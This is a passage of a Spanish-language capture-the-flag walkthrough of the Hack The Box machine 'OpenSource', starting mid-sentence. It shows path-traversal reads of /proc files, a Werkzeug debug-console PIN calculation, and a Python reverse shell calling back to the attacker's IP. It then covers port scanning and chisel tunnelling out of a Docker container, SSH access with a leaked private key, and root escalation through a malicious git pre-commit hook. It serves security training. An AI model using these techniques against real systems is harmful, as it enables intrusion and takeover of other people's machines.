, o en caso de que no exista/proc/sys/kernel/random/boot_id
, con el hash después de la diagonal de la data resultante de/proc/self/cgroup
.
Para obtener el primer dato, agregamos el parámetro --ignore-content-length
, pues así no trata las secuencias de /../
o /./
en la ruta URL dada. Normalmente, curl las aplasta o fusiona de acuerdo con los estándares, pero con esta opción puedes decirle que no lo haga.
curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//proc/sys/kernel/random/boot_id
ec9352f3-f38c-4d69-ad41-55fe71f295ba
Para el segundo dato, aplicamos lo mismo para la ruta que nos mencionan:
curl --path-as-is --ignore-content-length http://10.10.11.164/uploads/..//proc/self/cgroup
12:cpuset:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
11:pids:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
10:hugetlb:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
9:freezer:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
8:net_cls,net_prio:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
7:blkio:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
6:cpu,cpuacct:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
5:perf_event:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
4:memory:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
3:rdma:/
2:devices:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
1:name=systemd:/docker/13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799
0::/system.slice/snap.docker.dockerd.service
Y ocupamos únicamente el hash, todos son iguales, por lo que puedes ocupar el que sea.
Después de recopilar toda esta información, nuestro script quedaría de esta manera:
import hashlib
from itertools import chain
probably_public_bits = [
'root', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485377892359', # str(uuid.getnode()), /sys/class/net/ens33/address
'ec9352f3-f38c-4d69-ad41-55fe71f295ba13b2cdc6369343a100be0437d9c4f4e32b7b882fbb76b2c49fa18a72b80f5799' # get_machine_id(), /etc/machine-id
]
Ejecuta el script, deberías obtener un número que sería el PIN que para entrar a la consola interactiva:
python PIN_discover.py
135-767-720
Copia el PIN e intenta entrar a la consola:
Hemos ganado acceso a la consola, ya solo es cuestión de obtener una shell.
Abre una netcat y aplica la siguiente Reverse Shell:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Tu_IP",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
Observa el resultado:
nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [10.10.11.164] 35636
/app # whoami
whoami
root
Haz un tratamiento de la TTY y continua.
Enumeración de Contenedor Docker y Utilizando Chisel
Primero, veamos la IP del contenedor:
/app # ifconfig
ifconfig
eth0 Link encap:Ethernet HWaddr 02:42:AC:11:00:07
inet addr:172.17.0.7 Bcast:172.17.255.255 Mask:255.255.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:2254 errors:0 dropped:0 overruns:0 frame:0
TX packets:2525 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:193956 (189.4 KiB) TX bytes:3672127 (3.5 MiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Veamos la tabla de enrutamiento:
/app # ip route
ip route
default via 172.17.0.1 dev eth0
172.17.0.0/16 dev eth0 scope link src 172.17.0.7
Parece que no estamos en la interfaz principal.
Probemos si podemos alcanzar la interfaz principal:
/app # ping -c 4 172.17.0.1
ping -c 4 172.17.0.1
PING 172.17.0.1 (172.17.0.1): 56 data bytes
64 bytes from 172.17.0.1: seq=0 ttl=64 time=0.123 ms
64 bytes from 172.17.0.1: seq=1 ttl=64 time=0.114 ms
64 bytes from 172.17.0.1: seq=2 ttl=64 time=0.181 ms
64 bytes from 172.17.0.1: seq=3 ttl=64 time=0.122 ms
--- 172.17.0.1 ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
Sí lo alcanzamos.
Cómo no tenemos nmap, podemos realizar un escaneo de puertos utilizando netcat dentro de un script de bash.
Lo pondremos como un oneliner:
/app # for port in $(seq 1 10000); do nc 172.17.0.1 $port -zv; done
for port in $(seq 1 10000); do nc 172.17.0.1 $port -zv; do
ne
172.17.0.1 (172.17.0.1:22) open
172.17.0.1 (172.17.0.1:80) open
172.17.0.1 (172.17.0.1:3000) open
172.17.0.1 (172.17.0.1:6000) open
172.17.0.1 (172.17.0.1:6001) open
172.17.0.1 (172.17.0.1:6002) open
172.17.0.1 (172.17.0.1:6003) open
172.17.0.1 (172.17.0.1:6004) open
172.17.0.1 (172.17.0.1:6005) open
172.17.0.1 (172.17.0.1:6006) open
172.17.0.1 (172.17.0.1:6007) open
Parece que el puerto 3000 está almacenando algo.
Usemos wget para ver qué es:
/app # wget -qO- http://172.17.0.1:3000
wget -qO- http://172.17.0.1:3000
<!DOCTYPE html>
<html lang="en-US" class="theme-">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title> Gitea: Git with a cup of tea</title>
<link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2
...
...
...
Es una página llamada Gitea; investiguemos que es:
Gitea Software |
---|
Gitea es un paquete de software de código abierto para alojar el control de versiones de desarrollo de software utilizando Git, así como otras funciones de colaboración como el seguimiento de errores y los wikis. |
Entonces puede que aquí sirva la contraseña que encontramos al enumerar el repositorio local de git.
Necesitamos ver la página y para lograr esto, utilizaremos la herramienta chisel.
Descargala de aquí:
Una vez que la descargues, descomprimerlo con gunzip:
gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 chisel
chmod +x chisel
Ahora envíala al contenedor:
- Abre un servidor en Python:
python3 -m http.server 8000 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
- En el contenedor, muevete al directorio /tmp y descarga chisel:
/tmp # wget http://Tu_IP:8000/chisel wget http://Tu_IP:8000/chisel Connecting to Tu_IP:8000 (Tu_IP:8000) saving to 'chisel' chisel 100% |********************************| 9152k 0:00:00 ETA 'chisel' saved
Excelente, para que funcione chisel debemos abrir un servidor y un cliente, siendo que nuestra máquina será el servidor y el contenedor el cliente.
Quedaría de esta forma:
- Nuestra máquina como servidor usando el puerto 1234:
./chisel server --reverse -p 1234 2024/10/08 01:04:31 server: Reverse tunnelling enabled 2024/10/08 01:04:31 server: Fingerprint +775... 2024/10/08 01:04:31 server: Listening on http://0.0.0.0:1234
- Contenedor como cliente, aplicando port forwarding hacia nuestro puerto 3000:
/tmp # ./chisel client Tu_IP:1234 R:3000:172.17.0.1:3000 ./chisel client Tu_IP:1234 R:3000:172.17.0.1:3000 2024/10/08 07:05:21 client: Connecting to ws://Tu_IP:1234 2024/10/08 07:05:22 client: Connected (Latency 161.096577ms)
- Comprueba si ya está funcionando nuestro puerto 3000:
lsof -i:3000 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME chisel 311354 root 7u IPv6 1075283 0t0 TCP *:3000 (LISTEN)
Una vez realizado esto, podemos entrar desde el navegador al localhost al puerto 3000 para ver la página de Gitea:
Obteniendo Llave Privada y Entrando a Servicio SSH
Muy bien, hay una opción para iniciar sesión. Entra ahí y mete el usuario y contraseña que encontramos en el repositorio de git:
Bien, vemos que se creó un repositorio que, al parecer, es un backup de algo. Entremos y veamos de que se trata:
Observa, hay un directorio de SSH, donde normalmente se almacenan las llaves para entrar.
Entremos:
Tenemos la llave privada para entrar al servicio SSH.
Vamos a copiarla y a prepararla para entrar a este servicio:
nano id_rsa
chmod 600 id_rsa
Y probemosla:
ssh -i id.rsa dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)
...
...
...
dev01@opensource:~$ whoami
dev01
Ya solo busca la flag del usuario:
dev01@opensource:~$ ls
user.txt
dev01@opensource:~$ cat user.txt
...
Post Explotación
Enumeración de Servicio SSH
Vamos a ver qué permisos tenemos:
dev01@opensource:/$ sudo -l
[sudo] password for dev01:
Sorry, user dev01 may not run sudo on opensource.
No tenemos permisos SUDO.
Ahora a qué grupos pertenecemos:
dev01@opensource:/$ id
uid=1000(dev01) gid=1000(dev01) groups=1000(dev01)
Nada útil.
Por curiosidad, veamos la versión del SO:
dev01@opensource:/$ uname -a
Linux opensource 4.15.0-176-generic #185-Ubuntu SMP Tue Mar 29 17:40:04 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Veamos si hay algún binario al que tengamos acceso:
dev01@opensource:/$ find / -perm -4000 2>/dev/null -ls
133 121 -rwsr-xr-x 1 root root 123464 Mar 3 2022 /snap/snapd/15177/usr/lib/snapd/snap-confine
135 121 -rwsr-xr-x 1 root root 123560 Apr 8 2022 /snap/snapd/15534/usr/lib/snapd/snap-confine
56 43 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /snap/core18/2344/bin/mount
65 63 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /snap/core18/2344/bin/ping
81 44 -rwsr-xr-x 1 root root 44664 Jan 25 2022 /snap/core18/2344/bin/su
99 27 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /snap/core18/2344/bin/umount
1721 75 -rwsr-xr-x 1 root root 76496 Jan 25 2022 /snap/core18/2344/usr/bin/chfn
1723 44 -rwsr-xr-x 1 root root 44528 Jan 25 2022 /snap/core18/2344/usr/bin/chsh
1776 75 -rwsr-xr-x 1 root root 75824 Jan 25 2022 /snap/core18/2344/usr/bin/gpasswd
1840 40 -rwsr-xr-x 1 root root 40344 Jan 25 2022 /snap/core18/2344/usr/bin/newgrp
1853 59 -rwsr-xr-x 1 root root 59640 Jan 25 2022 /snap/core18/2344/usr/bin/passwd
1944 146 -rwsr-xr-x 1 root root 149080 Jan 19 2021 /snap/core18/2344/usr/bin/sudo
2032 42 -rwsr-xr-- 1 root systemd-resolve 42992 Jun 11 2020 /snap/core18/2344/usr/lib/dbus-1.0/dbus-daemon-launch-helper
2342 427 -rwsr-xr-x 1 root root 436552 Mar 3 2020 /snap/core18/2344/usr/lib/openssh/ssh-keysign
3487 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
9846 28 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount
9845 44 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
9830 44 -rwsr-xr-x 1 root root 44664 Jan 25 2022 /bin/su
4102 64 -rwsr-xr-x 1 root root 64424 Jun 28 2019 /bin/ping
5877 128 -rwsr-xr-x 1 root root 130200 Feb 23 2022 /usr/lib/snapd/snap-confine
1073 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
7423 100 -rwsr-xr-x 1 root root 100760 Nov 23 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
23998 44 -rwsr-xr-- 1 root messagebus 42992 May 6 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
7512 16 -rwsr-xr-x 1 root root 14328 Jan 12 2022 /usr/lib/policykit-1/polkit-agent-helper-1
18252 428 -rwsr-xr-x 1 root root 436552 Mar 30 2022 /usr/lib/openssh/ssh-keysign
6897 60 -rwsr-xr-x 1 root root 59640 Jan 25 2022 /usr/bin/passwd
881 20 -rwsr-xr-x 1 root root 18448 Jun 28 2019 /usr/bin/traceroute6.iputils
7259 40 -rwsr-xr-x 1 root root 40344 Jan 25 2022 /usr/bin/newgrp
5703 40 -rwsr-xr-x 1 root root 37136 Jan 25 2022 /usr/bin/newuidmap
5699 44 -rwsr-xr-x 1 root root 44528 Jan 25 2022 /usr/bin/chsh
447 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
6896 76 -rwsr-xr-x 1 root root 75824 Jan 25 2022 /usr/bin/gpasswd
1241 40 -rwsr-xr-x 1 root root 37136 Jan 25 2022 /usr/bin/newgidmap
693 148 -rwsr-xr-x 1 root root 149080 Jan 19 2021 /usr/bin/sudo
718 76 -rwsr-xr-x 1 root root 76496 Jan 25 2022 /usr/bin/chfn
Nada que podamos usar.
Lo que nos faltaría es ver si hay alguna tarea CRON ejecutándose. Esto lo revisaremos con pspy.
Descárgalo aquí:
Abre un servidor de Python y descárgalo en la máquina víctima:
dev01@opensource:/tmp$ wget http://Tu_IP/pspy64
--2024-10-08 20:41:48-- http://Tu_IP/pspy64
Connecting to Tu_IP:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[==================>] 2.96M 430KB/s in 7.2s
2024-10-08 20:41:56 (420 KB/s) - ‘pspy64’ saved [3104768/3104768]
Y ejecutemos el pspy:
dev01@opensource:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
2024/10/08 20:45:01 CMD: UID=0 PID=11414 | /bin/bash /usr/local/bin/git-sync
2024/10/08 20:45:01 CMD: UID=0 PID=11413 | /bin/sh -c /usr/local/bin/git-sync
2024/10/08 20:45:01 CMD: UID=0 PID=11412 | /usr/sbin/CRON -f
2024/10/08 20:45:01 CMD: UID=0 PID=11415 | git status --porcelain
2024/10/08 20:45:01 CMD: UID=0 PID=11416 | /bin/bash /usr/local/bin/git-sync
2024/10/08 20:45:01 CMD: UID=0 PID=11417 | git add .
2024/10/08 20:45:01 CMD: UID=0 PID=11419 | /bin/bash /usr/local/bin/git-sync
2024/10/08 20:45:01 CMD: UID=0 PID=11420 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2024/10/08 20:45:01 CMD: UID=0 PID=11421 |
2024/10/08 20:46:01 CMD: UID=0 PID=11426 | /usr/sbin/CRON -f
2024/10/08 20:46:01 CMD: UID=0 PID=11425 | /usr/sbin/CRON -f
2024/10/08 20:46:01 CMD: UID=0 PID=11424 | /usr/sbin/CRON -f
2024/10/08 20:46:01 CMD: UID=0 PID=11423 | /usr/sbin/CRON -f
2024/10/08 20:46:01 CMD: UID=0 PID=11430 | /bin/sh -c /usr/local/bin/git-sync
Hay un script que se está ejecutando cada cierto tiempo y después se agrega al repositorio y se sube.
Veamos de que se trata:
dev01@opensource:/tmp$ cat /usr/local/bin/git-sync
#!/bin/bash
cd /home/dev01/
if ! git status --porcelain; then
echo "No changes"
else
day=$(date +'%Y-%m-%d')
echo "Changes detected, pushing.."
git add .
git commit -m "Backup for ${day}"
git push origin main
fi
Parece que hay un repositorio de Git en el directorio /home de este usuario, en donde se revisa si hay cambios y, si los hay, agrega esos cambios y los sube a su repositorio como un backup.
Veamos ese repositorio.
Abusando de Git Hooks para Escalar Privilegios
Entrando al repositorio, encontramos esto:
dev01@opensource:~/.git$ ls -la
total 56
drwxrwxr-x 8 dev01 dev01 4096 Oct 8 21:24 .
drwxr-xr-x 7 dev01 dev01 4096 May 16 2022 ..
drwxrwxr-x 2 dev01 dev01 4096 May 4 2022 branches
-rw-r--r-- 1 dev01 dev01 22 Oct 8 21:24 COMMIT_EDITMSG
-rw-rw-r-- 1 dev01 dev01 269 Oct 8 21:24 config
-rw-rw-r-- 1 dev01 dev01 73 Mar 23 2022 description
-rw-rw-r-- 1 dev01 dev01 117 Mar 23 2022 FETCH_HEAD
-rw-r--r-- 1 dev01 dev01 21 May 16 2022 HEAD
drwxrwxr-x 2 dev01 dev01 4096 May 4 2022 hooks
-rw-r--r-- 1 root root 845 Oct 8 20:26 index
drwxrwxr-x 2 dev01 dev01 4096 May 4 2022 info
drwxr-xr-x 3 dev01 dev01 4096 May 4 2022 logs
drwxrwxr-x 44 dev01 dev01 4096 Oct 8 20:26 objects
drwxrwxr-x 5 dev01 dev01 4096 May 4 2022 refs
Hay un directorio hooks. Investiguemos a que pertenece.
Git Hooks |
---|
Los hooks de Git son scripts que se ejecutan automáticamente cada vez que se produce un evento concreto en un repositorio de Git. Permiten personalizar el comportamiento interno de Git y desencadenar acciones personalizables en puntos clave del ciclo de vida del desarrollo. |
Resulta que hay una forma de abusar de estos, la puedes encontrar aquí: GTFOBins: git
Vamos a crear un hook que cambie los permisos de la Bash:
dev01@opensource:~/.git/hooks$ echo 'chmod u+s /bin/bash' > "pre-commit"
Revisa los permisos de la Bash:
dev01@opensource:~/.git/hooks$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1113504 Apr 18 2022 /bin/bash
Dale permisos de ejecución al hook:
dev01@opensource:~/.git/hooks$ chmod +x pre-commit
Ahora, revisa si cambiaron los permisos de la Bash:
dev01@opensource:~/.git/hooks$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1113504 Apr 18 2022 /bin/bash
Excelente, ya solo entramos a la Bash y obtenemos la flag:
dev01@opensource:/$ bash -p
bash-4.4# whoami
root
bash-4.4# cd /root
bash-4.4# ls
config meta root.txt snap
bash-4.4# cat root.txt
...
Hemos terminado la máquina.
Links de Investigación
- https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug#werkzeug-console-pin-exploit
- https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/init.py
- https://linuxhandbook.com/scan-ports-netcat/
- https://github.com/jpillora/chisel/releases
- https://es.wikipedia.org/wiki/Gitea
- https://github.com/DominicBreuker/pspy
- https://www.atlassian.com/es/git/tutorials/git-hooks
- https://gtfobins.github.io/gtfobins/git/